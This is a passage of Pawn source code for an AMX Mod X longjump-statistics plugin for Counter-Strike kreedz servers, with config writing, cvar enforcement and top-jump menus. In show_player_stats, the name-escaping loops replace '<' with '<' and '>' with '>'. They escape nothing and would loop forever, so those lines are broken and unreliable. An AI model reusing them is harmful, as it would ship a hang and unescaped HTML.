write_file(filename, "; Cvar kz_ljstats_green (default ^"255^")");
}
if( fix_since < 20 )
{
server_settings[player][18] = "255";
write_file(filename, "255");
write_file(filename, "; Cvar kz_ljstats_blue (^"159^")");
}
if( fix_since < 21 )
{
server_settings[player][19] = "159";
write_file(filename, "159");
write_file(filename, "");
write_file(filename, "; LongJump Stats Laser Beam");
write_file(filename, "; 0 = off");
write_file(filename, "; 1 = normal");
write_file(filename, "; 2 = uber beam");
write_file(filename, "; Cvar kz_ljs_beam (default ^"2^")");
}
if( fix_since < 22 )
{
server_settings[player][20] = "2";
write_file(filename, "2");
write_file(filename, "");
write_file(filename, "; Enables protection 4 legal kreedz settings");
write_file(filename, "; Cvar kz_legal_settings (default ^"1^")");
}
if( fix_since < 23 )
{
server_settings[player][21] = "1";
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; Is your server fast?");
write_file(filename, "; 0 = slow");
write_file(filename, "; 1 = normal");
write_file(filename, "; 2 = realy good ( >10mb/s or localhost/lan server )");
write_file(filename, "; Cvar kz_ljs_fastserver (default ^"2^")");
}
if( fix_since < 24 )
{
server_settings[player][22] = "2";
write_file(filename, "2");
write_file(filename, "");
write_file(filename, "; Enables auto-setting 4 kz_ljs_fastserver cvar if it is 2");
write_file(filename, "; Cvar kz_ljs_autoserver (default ^"1^")");
}
if( fix_since < 25 )
{
server_settings[player][23] = "1";
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; What is enabled on client when he connects to a server?");
write_file(filename, "; 0 = nothing");
write_file(filename, "; a = colorchat");
write_file(filename, "; b = ljstats");
write_file(filename, "; c = speed");
write_file(filename, "; Cvar kz_ljs_connectenabler (default ^"abc^")");
}
if( fix_since < 26 )
{
server_settings[player][24] = "abc";
write_file(filename, "abc");
write_file(filename, "");
write_file(filename, "; Do you want cmds like /speed to be visible in the chat?");
write_file(filename, "; Cvar kz_ljs_viscmds (default ^"1^")");
}
if( fix_since < 27 )
{
server_settings[player][25] = "1";
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; Speedometer type");
write_file(filename, "; 0 = show real speed and horizontal speed");
write_file(filename, "; 1 = show real speed");
write_file(filename, "; 2 = show horizontal speed");
write_file(filename, "; Cvar kz_ljs_speedtype (default ^"0^")");
}
if( fix_since < 28 )
{
server_settings[player][26] = "0";
write_file(filename, "0");
}
}
public plugin_cfg()
{
if( get_pcvar_num(kz_legal_settings) )
{
set_cvar_string("edgefriction", "2");
set_cvar_string("mp_footsteps", "1");
set_cvar_string("sv_cheats", "0");
set_cvar_string("sv_gravity", "800");
set_cvar_string("sv_maxspeed", "320");
set_cvar_string("sv_stepsize", "18");
set_cvar_string("sv_maxvelocity", "2000");
}
}
public plugin_precache()
{
plugin_start();
switch(random_num(1,6))
{
case 1: gBeam = precache_model("sprites/zbeam1.spr");
case 2: gBeam = precache_model("sprites/zbeam2.spr");
case 3: gBeam = precache_model("sprites/zbeam3.spr");
case 4: gBeam = precache_model("sprites/zbeam4.spr");
case 5: gBeam = precache_model("sprites/zbeam5.spr");
case 6: gBeam = precache_model("sprites/zbeam6.spr");
}
if( get_pcvar_num(kz_lj_sounds) == 1 )
{
precache_sound("misc/impressive.wav");
precache_sound("misc/mod_godlike.wav");
precache_sound("misc/mod_wickedsick.wav");
precache_sound("misc/perfect.wav");
}
if( get_pcvar_num(kz_ljs_enabled) )
pluginstatus = INFO_ONE;
else
pluginstatus = INFO_ZERO;
}
public cmdTopMenu(id)
{
new plugin_cvar = get_pcvar_num(kz_ljs_enabled);
new ljtop_cvar = get_pcvar_num(kz_ljs_tops);
if( plugin_cvar && (ljtop_cvar == 2 || ljtop_cvar == 3) )
{
new MenuBody[512], len, keys;
len = format(MenuBody, 511, "\yLjStats by: LT.Rat & .tv!X^^ ^n");
if( map_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r1. \wMap Top");
keys = (1<<0);
}
else
len += format(MenuBody[len], 511-len, "^n\r1. \dMap Top (no jumps)");
if( lj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r2. \wLongJump Top");
keys |= (1<<1);
}
else
len += format(MenuBody[len], 511-len, "^n\r2. \dLongJump (no ljs)");
if( cj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r3. \wCountJump Top");
keys |= (1<<2);
}
else
len += format(MenuBody[len], 511-len, "^n\r3. \dCountJump (no cjs)");
if( bj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r4. \wBhopJump Top");
keys |= (1<<3);
}
else
len += format(MenuBody[len], 511-len, "^n\r4. \dBhopJump Top (no bjs)");
if( sbj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r5. \wStand-UP BhopJump Top");
keys |= (1<<4);
}
else
len += format(MenuBody[len], 511-len, "^n\r5. \dStand-UP BhopJump Top (no sbjs)");
if( wj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r6. \wWeirdJump Top");
keys |= (1<<5);
}
else
len += format(MenuBody[len], 511-len, "^n\r6. \dWeirdJump Top (no wjs)");
len += format(MenuBody[len], 511-len, "^n^n\r0. \wExit");
keys |= (1<<9);
/* len += format(MenuBody[len], 511-len, "^n^n^n\yTops full stats^n");
len += format(MenuBody[len], 511-len, "^n\r5. \wTotal top stats");
keys |= (1<<4);
if( lj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r6. \wLj top stats");
keys |= (1<<5);
}
else
len += format(MenuBody[len], 511-len, "^n\r6. \dLj top stats (no ljs)");
if( cj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r7. \wCj top stats");
keys |= (1<<6);
}
else
len += format(MenuBody[len], 511-len, "^n\r7. \dCj top stats (no cjs)");
if( bj_distance[0] )
{
len += format(MenuBody[len], 511-len, "^n\r8. \wBj top stats");
keys |= (1<<7);
}
else
len += format(MenuBody[len], 511-len, "^n\r8. \dBj top stats (no bjs)");
len += format(MenuBody[len], 511-len, "^n^n\r0. \wExit");
keys |= (1<<9);
*/
show_menu(id, keys, MenuBody, -1, "Top 10 Menu");
}
else if( !plugin_cvar )
client_print(id, print_chat, "[XJ] Tops are not valid. Plugin has been disabled.");
else
client_print(id, print_chat, "[XJ] Tops are not valid. Tops have been disabled.");
return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}
public MainTopMenu_Select(id, key)
{
new plugin_cvar = get_pcvar_num(kz_ljs_enabled);
new ljtop_cvar = get_pcvar_num(kz_ljs_tops);
if( plugin_cvar && (ljtop_cvar == 2 || ljtop_cvar == 3) )
{
switch((key+1))
{
case 1:
{
if( map_distance[0] )
{
show_top(id, TOP_MAP);
cmdTopMenu(id);
}
else
cmdTopMenu(id);
}
case 2:
{
if( lj_distance[0] )
{
show_top(id, TOP_LJ);
cmdTopMenu(id);
}
else
cmdTopMenu(id);
}
case 3:
{
if( cj_distance[0] )
{
show_top(id, TOP_CJ);
cmdTopMenu(id);
}
else
cmdTopMenu(id);
}
case 4:
{
if( bj_distance[0] )
{
show_top(id, TOP_BJ);
cmdTopMenu(id);
}
else
cmdTopMenu(id);
}
case 5:
{
if( sbj_distance[0] )
{
show_top(id, TOP_SBJ);
cmdTopMenu(id);
}
else
cmdTopMenu(id);
}
case 6:
{
if( wj_distance[0] )
{
show_top(id, TOP_WJ);
cmdTopMenu(id);
}
else
cmdTopMenu(id);
}
#if defined JOKES
case 7:
{
client_print(id, print_chat, "[XJ] It`s a joke :D ");
}
case 8:
{
client_print(id, print_chat, "[XJ] It`s a joke :D ");
}
case 9:
{
client_print(id, print_chat, "[XJ] It`s a joke :D ");
}
#endif
/*
case 5:
{
if( top_distance[0] )
display_full_top_stats_menu(id, TOP_MAP, 0);
else
cmdTopMenu(id);
}
case 6:
{
if( lj_distance[0] )
display_full_top_stats_menu(id, TOP_LJ, 0);
else
cmdTopMenu(id);
}
case 7:
{
if( cj_distance[0] )
display_full_top_stats_menu(id, TOP_CJ, 0);
else
cmdTopMenu(id);
}
case 8:
{
if( bj_distance[0] )
display_full_top_stats_menu(id, TOP_BJ, 0);
else
cmdTopMenu(id);
}
*/
}
}
else if( !plugin_cvar )
client_print(id, print_chat, "[XJ] Tops are not valid. Plugin has been disabled.");
else
client_print(id, print_chat, "[XJ] Tops are not valid. Tops have been disabled.");
return PLUGIN_HANDLED;
}
public display_full_top_stats_menu(id, toptype, page)
{
full_top_stats_selected_type[id] = toptype;
full_top_stats_selected_page[id] = page;
new i, MenuBody[512], len, keys;
if( toptype == 3 )
{
if( page == 2 )
{
len = format(MenuBody, 511, "\yFull bj top stats \r2/2^n");
for( i = INFO_ZERO; i < NSHOW; i++ )
{
format( view_names[id][i], 32, bj_names[i] );
view_distance[id][i] = bj_distance[i];
view_maxspeed[id][i] = bj_maxspeed[i];
view_prestrafe[id][i] = bj_prestrafe[i];
view_strafes[id][i] = bj_strafes[i];
view_sync[id][i] = bj_sync[i];
view_type[id][i] = "";
format( view_pretype[id][i], 31, bj_pretype[i] );
if( i > 4 )
{
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i-4), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
if( (i-5) )
keys |= (1<<(i-5));
else
keys = (1<<0);
}
}
len += format(MenuBody[len], 511-len, "^n^n\r9. \wBack");
keys |= (1<<8);
}
else if( page )
{
len = format(MenuBody, 511, "\yFull bj top stats \r1/2^n");
for( i = INFO_ZERO; i < 5; i++ )
{
format( view_names[id][i], 32, bj_names[i] );
view_distance[id][i] = bj_distance[i];
view_maxspeed[id][i] = bj_maxspeed[i];
view_prestrafe[id][i] = bj_prestrafe[i];
view_strafes[id][i] = bj_strafes[i];
view_sync[id][i] = bj_sync[i];
view_type[id][i] = "";
format( view_pretype[id][i], 31, bj_pretype[i] );
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
if( i )
keys |= (1<<i);
else
keys = (1<<0);
}
len += format(MenuBody[len], 511-len, "^n^n\r9. \wNext");
keys |= (1<<8);
}
else
{
len = format(MenuBody, 511, "\yFull bj top stats \r1/1^n");
if( bj_distance[9] )
{
display_full_top_stats_menu(id, toptype, 1);
return;
}
new limit;
for( limit = INFO_ZERO; limit < NSHOW; limit++ )
{
if( !bj_distance[limit] )
break;
}
if( limit == 1 )
{
format( view_names[id][0], 32, bj_names[0] );
view_distance[id][0] = bj_distance[0];
view_maxspeed[id][0] = bj_maxspeed[0];
view_prestrafe[id][0] = bj_prestrafe[0];
view_strafes[id][0] = bj_strafes[0];
view_sync[id][0] = bj_sync[0];
view_type[id][0] = "";
format( view_pretype[id][0], 31, bj_pretype[0] );
len += format(MenuBody[len], 511-len, "^n\r1. \y1. \w%s \r%d", view_names[id][0], (view_distance[id][0]/1000000));
keys = (1<<0);
}
else
{
for( i = INFO_ZERO; i < limit; i++ )
{
format( view_names[id][i], 32, bj_names[i] );
view_distance[id][i] = bj_distance[i];
view_maxspeed[id][i] = bj_maxspeed[i];
view_prestrafe[id][i] = bj_prestrafe[i];
view_strafes[id][i] = bj_strafes[i];
view_sync[id][i] = bj_sync[i];
view_type[id][i] = "";
format( view_pretype[id][i], 31, bj_pretype[i] );
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
if( i )
keys |= (1<<i);
else
keys = (1<<0);
}
}
}
}
else if( toptype == 2 )
{
if( page == 2 )
{
len = format(MenuBody, 511, "\yFull cj top stats \r2/2^n");
for( i = INFO_ZERO; i < NSHOW; i++ )
{
format( view_names[id][i], 32, cj_names[i] );
view_distance[id][i] = cj_distance[i];
view_maxspeed[id][i] = cj_maxspeed[i];
view_prestrafe[id][i] = cj_prestrafe[i];
view_strafes[id][i] = cj_strafes[i];
view_sync[id][i] = cj_sync[i];
view_type[id][i] = "";
format( view_pretype[id][i], 31, cj_pretype[i] );
if( i > 4 )
{
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i-4), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
if( (i-5) )
keys |= (1<<(i-5));
else
keys = (1<<0);
}
}
len += format(MenuBody[len], 511-len, "^n^n\r9. \wBack");
keys |= (1<<8);
}
else if( page )
{
len = format(MenuBody, 511, "\yFull cj top stats \r1/2^n");
for( i = INFO_ZERO; i < 5; i++ )
{
format( view_names[id][i], 32, cj_names[i] );
view_distance[id][i] = cj_distance[i];
view_maxspeed[id][i] = cj_maxspeed[i];
view_prestrafe[id][i] = cj_prestrafe[i];
view_strafes[id][i] = cj_strafes[i];
view_sync[id][i] = cj_sync[i];
view_type[id][i] = "";
format( view_pretype[id][i], 31, cj_pretype[i] );
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
if( i )
keys |= (1<<i);
else
keys = (1<<0);
}
len += format(MenuBody[len], 511-len, "^n^n\r9. \wNext");
keys |= (1<<8);
}
else
{
len = format(MenuBody, 511, "\yFull cj top stats \r1/1^n");
if( cj_distance[9] )
{
display_full_top_stats_menu(id, toptype, 1);
return;
}
new limit;
for( limit = INFO_ZERO; limit < NSHOW; limit++ )
{
if( !cj_distance[limit] )
break;
}
if( limit == 1 )
{
format( view_names[id][0], 32, cj_names[0] );
view_distance[id][0] = cj_distance[0];
view_maxspeed[id][0] = cj_maxspeed[0];
view_prestrafe[id][0] = cj_prestrafe[0];
view_strafes[id][0] = cj_strafes[0];
view_sync[id][0] = cj_sync[0];
view_type[id][0] = "";
format( view_pretype[id][0], 31, cj_pretype[0] );
len += format(MenuBody[len], 511-len, "^n\r1. \y1. \w%s \r%d", view_names[id][0], (view_distance[id][0]/1000000));
keys = (1<<0);
}
else
{
for( i = INFO_ZERO; i < limit; i++ )
{
format( view_names[id][i], 32, cj_names[i] );
view_distance[id][i] = cj_distance[i];
view_maxspeed[id][i] = cj_maxspeed[i];
view_prestrafe[id][i] = cj_prestrafe[i];
view_strafes[id][i] = cj_strafes[i];
view_sync[id][i] = cj_sync[i];
view_type[id][i] = "";
format( view_pretype[id][i], 31, cj_pretype[i] );
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
if( i )
keys |= (1<<i);
else
keys = (1<<0);
}
}
}
}
else if( toptype )
{
if( page == 2 )
{
len = format(MenuBody, 511, "\yFull lj top stats \r2/2^n");
for( i = INFO_ZERO; i < NSHOW; i++ )
{
format( view_names[id][i], 32, lj_names[i] );
view_distance[id][i] = lj_distance[i];
view_maxspeed[id][i] = lj_maxspeed[i];
view_prestrafe[id][i] = lj_prestrafe[i];
view_strafes[id][i] = lj_strafes[i];
view_sync[id][i] = lj_sync[i];
view_type[id][i] = "";
format( view_pretype[id][i], 31, lj_pretype[i] );
if( i > 4 )
{
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i-4), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
if( (i-5) )
keys |= (1<<(i-5));
else
keys = (1<<0);
}
}
len += format(MenuBody[len], 511-len, "^n^n\r9. \wBack");
keys |= (1<<8);
}
else if( page )
{
len = format(MenuBody, 511, "\yFull lj top stats \r1/2^n");
for( i = INFO_ZERO; i < 5; i++ )
{
format( view_names[id][i], 32, lj_names[i] );
view_distance[id][i] = lj_distance[i];
view_maxspeed[id][i] = lj_maxspeed[i];
view_prestrafe[id][i] = lj_prestrafe[i];
view_strafes[id][i] = lj_strafes[i];
view_sync[id][i] = lj_sync[i];
view_type[id][i] = "";
format( view_pretype[id][i], 31, lj_pretype[i] );
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
if( i )
keys |= (1<<i);
else
keys = (1<<0);
}
len += format(MenuBody[len], 511-len, "^n^n\r9. \wNext");
keys |= (1<<8);
}
else
{
len = format(MenuBody, 511, "\yFull lj top stats \r1/1^n");
if( lj_distance[9] )
{
display_full_top_stats_menu(id, toptype, 1);
return;
}
new limit;
for( limit = INFO_ZERO; limit < NSHOW; limit++ )
{
if( !lj_distance[limit] )
break;
}
if( limit == 1 )
{
format( view_names[id][0], 32, lj_names[0] );
view_distance[id][0] = lj_distance[0];
view_maxspeed[id][0] = lj_maxspeed[0];
view_prestrafe[id][0] = lj_prestrafe[0];
view_strafes[id][0] = lj_strafes[0];
view_sync[id][0] = lj_sync[0];
view_type[id][0] = "";
format( view_pretype[id][0], 31, lj_pretype[0] );
len += format(MenuBody[len], 511-len, "^n\r1. \y1. \w%s \r%d", view_names[id][0], (view_distance[id][0]/1000000));
keys = (1<<0);
}
else
{
for( i = INFO_ZERO; i < limit; i++ )
{
format( view_names[id][i], 32, lj_names[i] );
view_distance[id][i] = lj_distance[i];
view_maxspeed[id][i] = lj_maxspeed[i];
view_prestrafe[id][i] = lj_prestrafe[i];
view_strafes[id][i] = lj_strafes[i];
view_sync[id][i] = lj_sync[i];
view_type[id][i] = "";
format( view_pretype[id][i], 31, lj_pretype[i] );
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000));
if( i )
keys |= (1<<i);
else
keys = (1<<0);
}
}
}
}
else
{
if( page == 2 )
{
len = format(MenuBody, 511, "\yFull total top stats \r2/2^n");
for( i = INFO_ZERO; i < NSHOW; i++ )
{
format( view_names[id][i], 32, top_names[i] );
view_distance[id][i] = top_distance[i];
view_maxspeed[id][i] = top_maxspeed[i];
view_prestrafe[id][i] = top_prestrafe[i];
view_strafes[id][i] = top_strafes[i];
view_sync[id][i] = top_sync[i];
format( view_type[id][i], 4, top_type[i] );
format( view_pretype[id][i], 31, top_pretype[i] );
if( i > 4 )
{
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d \d%s", (i-4), (i+1), view_names[id][i], (view_distance[id][i]/1000000), view_type[id][i]);
if( (i-5) )
keys |= (1<<(i-5));
else
keys = (1<<0);
}
}
len += format(MenuBody[len], 511-len, "^n^n\r9. \wBack");
keys |= (1<<8);
}
else if( page )
{
len = format(MenuBody, 511, "\yFull total top stats \r1/2^n");
for( i = INFO_ZERO; i < 5; i++ )
{
format( view_names[id][i], 32, top_names[i] );
view_distance[id][i] = top_distance[i];
view_maxspeed[id][i] = top_maxspeed[i];
view_prestrafe[id][i] = top_prestrafe[i];
view_strafes[id][i] = top_strafes[i];
view_sync[id][i] = top_sync[i];
format( view_type[id][i], 4, top_type[i] );
format( view_pretype[id][i], 31, top_pretype[i] );
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d \d%s", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000), view_type[id][i]);
if( i )
keys |= (1<<i);
else
keys = (1<<0);
}
len += format(MenuBody[len], 511-len, "^n^n\r9. \wNext");
keys |= (1<<8);
}
else
{
len = format(MenuBody, 511, "\yFull total top stats \r1/1^n");
if( top_distance[9] )
{
display_full_top_stats_menu(id, toptype, 1);
return;
}
new limit;
for( limit = INFO_ZERO; limit < NSHOW; limit++ )
{
if( !top_distance[limit] )
break;
}
if( limit == 1 )
{
format( view_names[id][0], 32, top_names[0] );
view_distance[id][0] = top_distance[0];
view_maxspeed[id][0] = top_maxspeed[0];
view_prestrafe[id][0] = top_prestrafe[0];
view_strafes[id][0] = top_strafes[0];
view_sync[id][0] = top_sync[0];
format( view_type[id][0], 4, top_type[0] );
format( view_pretype[id][0], 31, top_pretype[0] );
len += format(MenuBody[len], 511-len, "^n\r1. \y1. \w%s \r%d \d%s", view_names[id][0], (view_distance[id][0]/1000000), view_type[id][0]);
keys = (1<<0);
}
else
{
for( i = INFO_ZERO; i < limit; i++ )
{
format( view_names[id][i], 32, top_names[i] );
view_distance[id][i] = top_distance[i];
view_maxspeed[id][i] = top_maxspeed[i];
view_prestrafe[id][i] = top_prestrafe[i];
view_strafes[id][i] = top_strafes[i];
view_sync[id][i] = top_sync[i];
format( view_type[id][i], 4, top_type[i] );
format( view_pretype[id][i], 31, top_pretype[i] );
len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d \d%s", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000), view_type[id][i]);
if( i )
keys |= (1<<i);
else
keys = (1<<0);
}
}
}
}
len += format(MenuBody[len], 511-len, "^n^n\r0. \wExit");
keys |= (1<<9);
show_menu(id, keys, MenuBody, -1, "Full top stats");
}
public FullTopMenu_Select(id, key)
{
new target = key, jumpschanged, nofirstjump, i, menu_continue = INFO_ONE, page = full_top_stats_selected_page[id], jumptype = full_top_stats_selected_type[id], ljtops = get_pcvar_num(kz_ljs_tops);
key += 1;
if( key == 10 )
return PLUGIN_HANDLED;
if( page == 2 )
target += 5;
if( !(get_pcvar_num(kz_ljs_enabled) && (ljtops == 2 || ljtops == 3)) )
{
if( !(ljtops == 2 || ljtops == 3) )
client_print(id, print_chat, "[XJ] Tops are not valid. Tops have been disabled.");
else
client_print(id, print_chat, "[XJ] Tops are not valid. Plugin has been disabled.");
return PLUGIN_HANDLED;
}
for( i = INFO_ZERO; i < 5; i++ )
{
if( jumptype == 3 )
{
if( !i && !bj_distance[i] )
{
nofirstjump = INFO_ONE;
jumpschanged = INFO_ONE;
break;
}
else if( !equal(view_names[id][i], bj_names[i])
|| view_distance[id][i] != bj_distance[i]
|| view_maxspeed[id][i] != bj_maxspeed[i]
|| view_prestrafe[id][i] != bj_prestrafe[i]
|| view_strafes[id][i] != bj_strafes[i]
|| view_sync[id][i] != bj_sync[i]
|| !equal(view_pretype[id][i], bj_pretype[i]) )
{
jumpschanged = INFO_ONE;
break;
}
}
else if( jumptype == 2 )
{
if( !i && !cj_distance[i] )
{
nofirstjump = INFO_ONE;
jumpschanged = INFO_ONE;
break;
}
else if( !equal(view_names[id][i], cj_names[i])
|| view_distance[id][i] != cj_distance[i]
|| view_maxspeed[id][i] != cj_maxspeed[i]
|| view_prestrafe[id][i] != cj_prestrafe[i]
|| view_strafes[id][i] != cj_strafes[i]
|| view_sync[id][i] != cj_sync[i]
|| !equal(view_pretype[id][i], cj_pretype[i]) )
{
jumpschanged = INFO_ONE;
break;
}
}
else if( jumptype )
{
if( !i && !lj_distance[i] )
{
nofirstjump = INFO_ONE;
jumpschanged = INFO_ONE;
break;
}
else if( !equal(view_names[id][i], lj_names[i])
|| view_distance[id][i] != lj_distance[i]
|| view_maxspeed[id][i] != lj_maxspeed[i]
|| view_prestrafe[id][i] != lj_prestrafe[i]
|| view_strafes[id][i] != lj_strafes[i]
|| view_sync[id][i] != lj_sync[i]
|| !equal(view_pretype[id][i], lj_pretype[i]) )
{
jumpschanged = INFO_ONE;
break;
}
}
else
{
if( !i && !top_distance[i] )
{
nofirstjump = INFO_ONE;
jumpschanged = INFO_ONE;
break;
}
else if( !equal(view_names[id][i], top_names[i])
|| view_distance[id][i] != top_distance[i]
|| view_maxspeed[id][i] != top_maxspeed[i]
|| view_prestrafe[id][i] != top_prestrafe[i]
|| view_strafes[id][i] != top_strafes[i]
|| view_sync[id][i] != top_sync[i]
|| !equal(view_type[id][i], top_type[i])
|| !equal(view_pretype[id][i], top_pretype[i]) )
{
jumpschanged = INFO_ONE;
break;
}
}
}
if( nofirstjump )
{
if( jumptype == 3 )
client_print(id, print_chat, "[XJ] Bj top is not valid. Jumps have been reseted (no bjs).");
else if( jumptype == 2 )
client_print(id, print_chat, "[XJ] Cj top is not valid. Jumps have been reseted (no cjs).");
else if( jumptype )
client_print(id, print_chat, "[XJ] Lj top is not valid. Jumps have been reseted (no ljs).");
else
client_print(id, print_chat, "[XJ] Tops are not valid. Jumps have been reseted (no jumps).");
menu_continue = INFO_ZERO;
}
else if( page && key == 9 )
{
if( page == 2 )
full_top_stats_selected_page[id] = 0;
else if( jumpschanged )
{
if( jumptype == 3 )
client_print(id, print_chat, "[XJ] First 5 bjs have been changed. You are redirected to menu start.");
else if( jumptype == 2 )
client_print(id, print_chat, "[XJ] First 5 cjs have been changed. You are redirected to menu start.");
else if( jumptype )
client_print(id, print_chat, "[XJ] First 5 ljs have been changed. You are redirected to menu start.");
else
client_print(id, print_chat, "[XJ] First 5 jumps have been changed. You are redirected to menu start.");
full_top_stats_selected_page[id] = 0;
}
else
{
if( jumptype == 3 && bj_distance[9] )
full_top_stats_selected_page[id] = 2;
else if( jumptype == 2 && cj_distance[9] )
full_top_stats_selected_page[id] = 2;
else if( jumptype && lj_distance[9] )
full_top_stats_selected_page[id] = 2;
else if( !jumptype && top_distance[9] )
full_top_stats_selected_page[id] = 2;
else
{
client_print(id, print_chat, "[XJ] All jumps have been changed. You are redirected to menu start.");
full_top_stats_selected_page[id] = 0;
}
}
}
else
{
if( jumpschanged && page == 2 )
{
if( jumptype == 3 )
client_print(id, print_chat, "[XJ] First 5 bjs have been changed. You are redirected to menu start.");
else if( jumptype == 2 )
client_print(id, print_chat, "[XJ] First 5 cjs have been changed. You are redirected to menu start.");
else if( jumptype )
client_print(id, print_chat, "[XJ] First 5 ljs have been changed. You are redirected to menu start.");
else
client_print(id, print_chat, "[XJ] First 5 jumps have been changed. You are redirected to menu start.");
full_top_stats_selected_page[id] = 0;
}
else if( page == 2 )
{
if( jumptype == 3 && bj_distance[9] )
full_top_stats_selected_page[id] = 2;
else if( jumptype == 2 && cj_distance[9] )
full_top_stats_selected_page[id] = 2;
else if( jumptype && lj_distance[9] )
full_top_stats_selected_page[id] = 2;
else if( !jumptype && top_distance[9] )
full_top_stats_selected_page[id] = 2;
else
{
client_print(id, print_chat, "[XJ] All jumps have been changed. You are redirected to menu start.");
full_top_stats_selected_page[id] = 0;
}
}
else
full_top_stats_selected_page[id] = 0;
}
if( !(page && key == 9) )
show_player_stats(id, target, jumptype);
if( menu_continue )
display_full_top_stats_menu(id, jumptype, full_top_stats_selected_page[id]);
return PLUGIN_HANDLED;
}
public show_player_stats(id, target, toptype)
{
new buffer[2368], name[131], len, motdname[64];
if( toptype == 3 )
format(motdname, 63, "%s's bj", view_names[id][target]);
else if( toptype == 2 )
format(motdname, 63, "%s's cj", view_names[id][target]);
else if( toptype )
format(motdname, 63, "%s's lj", view_names[id][target]);
else
format(motdname, 63, "%s's jump", view_names[id][target]);
len = format(buffer, 2367, "<body bgcolor=#94AEC6><table width=100%% cellpadding=2 cellspacing=0 border=0>");
len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#52697B><th width=50%%> Info name <th width=50%% align=left> Value");
format(name, 31, "%s", view_names[id][target]);
while( containi(name, "<") != -1 )
replace(name, 129, "<", "<");
while( containi(name, ">") != -1 )
replace(name, 129, ">", ">");
if( toptype == 3 )
len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Top type: <td align=left> BhopJump top");
else if( toptype == 2 )
len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Top type: <td align=left> CountJump top");
else if( toptype == 1 )
len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Top type: <td align=left> LongJump top");
else
len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Top type: <td align=left> Total top");
len += format(buffer[len], 2367-len, "<tr align=left><td> Position: <td align=left> #%d", (target+1));
len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Name: <td align=left> %s", name);
len += format(buffer[len], 2367-len, "<tr align=left><td> Distance: <td align=left> %d.%06d", (view_distance[id][target]/1000000), (view_distance[id][target]%1000000));
len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> TopSpeed: <td align=left> %d.%06d", (view_maxspeed[id][target]/1000000), (view_maxspeed[id][target]%1000000));
len += format(buffer[len], 2367-len, "<tr align=left><td> PreStrafe: <td align=left> %d.%06d", (view_prestrafe[id][target]/1000000), (view_prestrafe[id][target]%1000000));
len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Strafes: <td align=left> %d", view_strafes[id][target]);
len += format(buffer[len], 2367-len, "<tr align=left><td> Sync: <td align=left> %d", view_sync[id][target]);
len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> PreType: <td align=left> %s", view_pretype[id][target]);
if( !toptype ) //TODO bhop?
len += format(buffer[len], 2367-len, "<tr align=left><td> Jump Type: <td align=left> %s", (equal(view_type[id][target], "cj")) ? "CountJump" : "LongJump");
len += format(buffer[len], 2367-len, "</table></body>");
show_motd(id, buffer, motdname);
}
public cmdLjsMenu(id)
{
new plugin_cvar = get_pcvar_num(kz_ljs_enabled);
new ljtop_cvar = get_pcvar_num(kz_ljs_tops);
new MenuBody[512], len, keys;
len = format(MenuBody, 511, "\yLongJump Stats Menu^n");
if( !plugin_cvar )
{
len += format(MenuBody[len], 511-len, "^n\r1. \dSwitch colorchat (plugin off)");
len += format(MenuBody[len], 511-len, "^n\r2. \dSwitch ljstats (plugin off)");
len += format(MenuBody[len], 511-len, "^n\r3. \dSwitch speed (plugin off)");
len += format(MenuBody[len], 511-len, "^n\r4. \dView tops (plugin off)");
}
else
{
len += format(MenuBody[len], 511-len, "^n\r1. \wSwitch colorchat");
len += format(MenuBody[len], 511-len, "^n\r2. \wSwitch ljstats");
len += format(MenuBody[len], 511-len, "^n\r3. \wSwitch speed");
if( (ljtop_cvar == 2 || ljtop_cvar == 3) && (map_distance[0] || lj_distance[0] || cj_distance[0] || bj_distance[0] || sbj_distance[0]) )
{
len += format(MenuBody[len], 511-len, "^n^n\r4. \wView tops");
keys = (1<<0|1<<1|1<<2|1<<3);
}
else
{
if( !(map_distance[0] || lj_distance[0] || cj_distance[0] || bj_distance[0] || sbj_distance[0]) )
